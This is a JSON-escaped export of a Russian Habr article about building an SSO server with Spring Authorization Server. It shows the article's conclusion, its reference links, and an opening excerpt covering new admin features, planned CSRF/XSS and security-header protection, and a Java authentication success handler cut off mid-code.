\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043a\u043d\u043e\u043f\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c password grant type.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/553\/8eb\/260\/5538eb260cc3d58fa41f069d87ad4f3a.gif\" alt=\"\u0414\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u044b test-client \u0441 grant_type=password\" title=\"\u0414\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u044b test-client \u0441 grant_type=password\" width=\"1200\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/553\/8eb\/260\/5538eb260cc3d58fa41f069d87ad4f3a.gif\"\/><\/p>\n<div><figcaption>\u0414\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u044b test-client \u0441 grant_type=password<\/figcaption><\/div>\n<\/figure>\n<blockquote>\n<p>\u0418\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/tree\/chapter-5.3\" rel=\"noopener noreferrer nofollow\">\u0437\u0434\u0435\u0441\u044c<\/a>.<\/p>\n<\/blockquote>\n<h2>\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435<\/h2>\n<p>\u041d\u0443 \u0432\u043e\u0442 \u0438 \u043f\u043e\u0434\u043e\u0448\u0435\u043b \u043d\u0430\u0448 \u043f\u0443\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e SSO \u043a \u043a\u043e\u043d\u0446\u0443. \u041c\u044b \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u043b\u0438 \u043e\u0433\u0440\u043e\u043c\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0438 \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 Spring Security \u0438 Spring OAuth2 Authorization Server, \u043d\u043e \u0438 \u0432 \u0446\u0435\u043b\u043e\u043c \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u0435 WEB \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Spring \u0438 \u0435\u0435 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432. \u041c\u044b \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u043b\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u043e\u0442 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0441\u0442\u0435\u043d\u044c\u043a\u043e\u0433\u043e \u0434\u0435\u043c\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043a \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u043c\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044e, \u043f\u0440\u043e\u0434\u0443\u043c\u0430\u0432 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0432\u0438\u0434\u043d\u044b \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434. \u0418 \u0434\u0430\u0436\u0435, \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0437\u0430\u0431\u043e\u0442\u0438\u043b\u0438\u0441\u044c \u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041d\u0430\u0434\u0435\u044e\u0441\u044c, \u0447\u0442\u043e \u0432\u0441\u0435 \u043f\u043e\u0434\u0445\u043e\u0434\u044b \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438 \u0432 \u044d\u0442\u043e\u0439 \u0441\u0435\u0440\u0438\u0438 \u0441\u0442\u0430\u0442\u0435\u0439, \u043f\u043e\u043c\u043e\u0433\u0443\u0442 \u0432\u0430\u043c \u0432 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u0438 \u0432\u0430\u0448\u0438\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432 \u0438\u043b\u0438 \u0441\u0442\u0430\u043d\u0443\u0442 \u043d\u0435\u043f\u043b\u043e\u0445\u043e\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0432 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0438 Spring Security \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 WEB \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0432 \u0446\u0435\u043b\u043e\u043c.<\/p>\n<h3>\u041f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438<\/h3>\n<p>\u0418\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\" rel=\"noopener noreferrer nofollow\">\u0437\u0434\u0435\u0441\u044c<\/a><\/p>\n<ol>\n<li>\n<p><a href=\"https:\/\/oauth.net\/2\/\" rel=\"noopener noreferrer nofollow\">\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f OAuth2.0<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/github.com\/spring-projects\/spring-security\/wiki\/OAuth-2.0-Migration-Guide\" rel=\"noopener noreferrer nofollow\">Spring Security OAuth2.0 Migration Guide<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/docs.spring.io\/spring-security\/reference\/index.html\" rel=\"noopener noreferrer nofollow\">\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043f\u043e Spring Security<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/docs.spring.io\/spring-framework\/reference\/overview.html\" rel=\"noopener noreferrer nofollow\">\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043f\u043e Spring Framework<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/github.com\/lukas-krecan\/ShedLock\" rel=\"noopener noreferrer nofollow\">\u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 ShedLock<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\" rel=\"noopener noreferrer nofollow\">\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043f\u043e HTTP<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/owasp.org\/www-project-java-encoder\/\" rel=\"noopener noreferrer nofollow\">OWASP Java Encoder<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/timeweb.com\/ru\/community\/articles\/kak-nastroit-ssl-sertifikat-na-nginx\" rel=\"noopener noreferrer nofollow\">\u041a\u0430\u043a \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c SSL-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u043d\u0430 Nginx<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc7231\" rel=\"noopener noreferrer nofollow\">RFC 7231. HTTP<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/hstspreload.org\/\" rel=\"noopener noreferrer nofollow\">HSTS preload<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/w3c.github.io\/webappsec-permissions-policy\/#introduction\" rel=\"noopener noreferrer nofollow\">Permissions-Policy HTTP Header<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/draft-ietf-oauth-v2-1-10\" rel=\"noopener noreferrer nofollow\">\u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e OAuth2.1<\/a><\/p>\n<\/li>\n<\/ol>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/823808\/\"> https:\/\/habr.com\/ru\/articles\/823808\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<h3>\u0412\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0435<\/h3>\n<p>\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442, \u043c\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 SSO Server. \u041d\u043e \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u043c\u044b \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u0432 <a href=\"https:\/\/habr.com\/ru\/articles\/784552\/\" rel=\"noopener noreferrer nofollow\">\u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/a>:<\/p>\n<ul>\n<li>\n<p>\u0423\u0434\u0435\u043b\u0438\u043b\u0438 \u0432\u0440\u0435\u043c\u044f frontend \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044e<\/p>\n<\/li>\n<li>\n<p>\u041d\u0430\u0441\u0442\u0440\u043e\u0438\u043b\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438<\/p>\n<\/li>\n<li>\n<p>\u0420\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e &#171;\u0417\u0430\u0431\u044b\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c&#187;<\/p>\n<\/li>\n<\/ul>\n<p>\u041c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u0432\u0441\u0451, \u0447\u0442\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0432\u0445\u043e\u0434\u0430 \u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438. \u0422\u0435\u043a\u0443\u0449\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0435\u0433\u043a\u0430 \u043e\u0442\u043b\u0438\u0447\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445. \u0414\u043b\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u044f \u0443\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u043e \u0432\u0441\u0435\u043c\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 (\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c\u0438 \u0442\u043e\u043a\u0435\u043d\u0430\u043c\u0438, \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 OAuth2 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSO \u0438 \u0442.\u0434.). \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0435\u0433\u043e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0432 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\" rel=\"noopener noreferrer nofollow\">\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438<\/a>.<\/p>\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0443\u043d\u043a\u0442\u044b:<\/p>\n<ul>\n<li>\n<p>\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435<\/p>\n<\/li>\n<li>\n<p>\u0417\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 CSRF \u0438 XSS \u0430\u0442\u0430\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 Security Headers<\/p>\n<\/li>\n<li>\n<p>\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e grant type<\/p>\n<\/li>\n<\/ul>\n<p>\u0418\u0442\u0430\u043a, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c!<\/p>\n<h3>\u0420\u0430\u0437\u0434\u0435\u043b 5.1: \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f<\/h3>\n<p>\u041f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e, \u0441\u0442\u043e\u0438\u0442 \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043c\u044b \u0432 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0440\u0430\u0437 \u043f\u043e\u0432\u044b\u0441\u0438\u043b\u0438 \u0432\u0435\u0440\u0441\u0438\u0438:<\/p>\n<ul>\n<li>\n<p><code>spring-boot-starter-parent<\/code> \u043f\u043e\u0432\u044b\u0441\u0438\u043b\u0438 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 <code>3.2.5<\/code><\/p>\n<\/li>\n<li>\n<p><code>spring-security-oauth2-authorization-server<\/code> \u043f\u043e\u0432\u044b\u0441\u0438\u043b\u0438 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 <code>1.2.4<\/code><\/p>\n<\/li>\n<\/ul>\n<p>\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0447\u0435\u043c, \u043c\u044b \u0443\u0448\u043b\u0438 \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u0435\u0442\u043e\u0434\u0430 <code>.apply()<\/code> \u043f\u0440\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 <code>HttpSecurity<\/code> \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 <code>SecurityConfig<\/code> \u0438 \u0437\u0430\u043c\u0435\u043d\u0438\u043b\u0438 \u0435\u0433\u043e \u043d\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 <code>.with()<\/code>. \u0414\u0440\u0443\u0433\u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u0432\u0435\u0440\u0441\u0438\u0439 \u043d\u0435 \u0431\u044b\u043b\u043e.<\/p>\n<p>\u0422\u0430\u043a\u0436\u0435, \u0434\u0443\u043c\u0430\u044e \u0441\u0442\u043e\u0438\u0442 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043d\u043e\u0432\u043e\u0433\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e\u0441\u044c \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435:<\/p>\n<ul>\n<li>\n<p>\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f (\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435, \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0430\u0432\u0430\u0442\u0430\u0440\u043a\u0438, \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430, \u0441\u043c\u0435\u043d\u0430 \u043f\u0430\u0440\u043e\u043b\u044f).<\/p>\n<\/li>\n<li>\n<p>\u041b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0444\u043e\u0440\u043c\u0430 \u0434\u043b\u044f \u0438\u0445 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430.<\/p>\n<\/li>\n<li>\n<p>\u0421\u043f\u0438\u0441\u043e\u043a \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0444\u043e\u0440\u043c\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u0438 \u043e\u0442\u0437\u044b\u0432\u0430 \u0442\u043e\u043a\u0435\u043d\u0430.<\/p>\n<\/li>\n<li>\n<p>\u041f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u043f\u043e\u043d\u044f\u0442\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c-\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0438 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c. \u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0440\u043e\u043b\u044c ADMIN_USER \u0438 \u043d\u043e\u0432\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043b\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 SSO.<\/p>\n<\/li>\n<li>\n<p>\u0424\u043e\u0440\u043c\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f\/\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\/\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f OAuth2 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0435\u043f\u0435\u0440\u044c \u0438\u0445 \u043c\u043e\u0436\u0435\u0442 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 SSO.<\/p>\n<\/li>\n<li>\n<p>\u0424\u043e\u0440\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c\u0438 SSO.<\/p>\n<\/li>\n<\/ul>\n<p>\u0412\u0441\u0435 \u0444\u043e\u0440\u043c\u044b \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u044b\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043d\u0430 \u043d\u0438\u0445 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435 \u0431\u0443\u0434\u0435\u043c, \u0432\u044b \u0438\u0445 \u043c\u043e\u0436\u0435\u0442\u0435 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0432 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\" rel=\"noopener noreferrer nofollow\">\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f<\/a><\/p>\n<figure class=\"\">\n<div><figcaption>\u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f<\/figcaption><\/div>\n<\/figure>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043c\u044b \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u0441\u0430\u043c\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u0448\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0444\u043e\u0440\u043c.<\/p>\n<h4>\u041a\u0430\u043a \u043e\u0442\u043b\u043e\u0432\u0438\u0442\u044c \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f?<\/h4>\n<p>\u041b\u043e\u0433\u0438\u0447\u043d\u043e, \u0447\u0442\u043e \u043e\u0442\u0432\u0435\u0442\u043e\u043c \u043d\u0430 \u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0431\u0443\u0434\u0435\u0442 &#8212; &#171;\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 <code>SuccessAuthenticationHandler<\/code>&#171;. \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u0443 \u043d\u0430\u0441 \u0431\u044b\u043b \u0442\u043e\u043b\u044c\u043a\u043e <code>CustomAuthenticationSuccessHandler<\/code>, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0434\u043b\u044f frontend \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0415\u0441\u043b\u0438 \u0437\u0430\u0431\u044b\u043b\u0438, \u0437\u0430\u0447\u0435\u043c \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u043b\u043e\u0441\u044c, \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a <a href=\"https:\/\/habr.com\/ru\/articles\/748584\/\" rel=\"noopener noreferrer nofollow\">\u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 (\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u044b \u043b\u043e\u0433\u0438\u043d\u0430)<\/a>. \u0412 \u043d\u0435\u0439 \u043c\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u044d\u0442\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u043b\u0438. \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u0443\u043b\u0443\u0447\u0448\u0438\u043b\u0438 \u0435\u0433\u043e \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<p><code><strong>CustomAuthenticationSuccessHandler.java<\/strong><\/code><\/p>\n<pre><code class=\"java\">public class CustomAuthenticationSuccessHandler implements AuthenticationSuccessHandler {     @Override     public void onAuthenticationSuccess(             HttpServletRequest request,             HttpServletResponse response,             Authentication authentication     ) {         SavedRequest savedRequest = this.requestCache.getRequest(request, response);         if (savedRequest == null) {             response.setHeader(headerName, locationUrl);         } else {             this.requestCache.removeRequest(request, response);             this.clearAuthenticationAttributes(request);             String targetUrl = savedRequest.getRedirectUrl();              \/\/ \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u043c \u043a\u043e\u0433\u0434\u0430 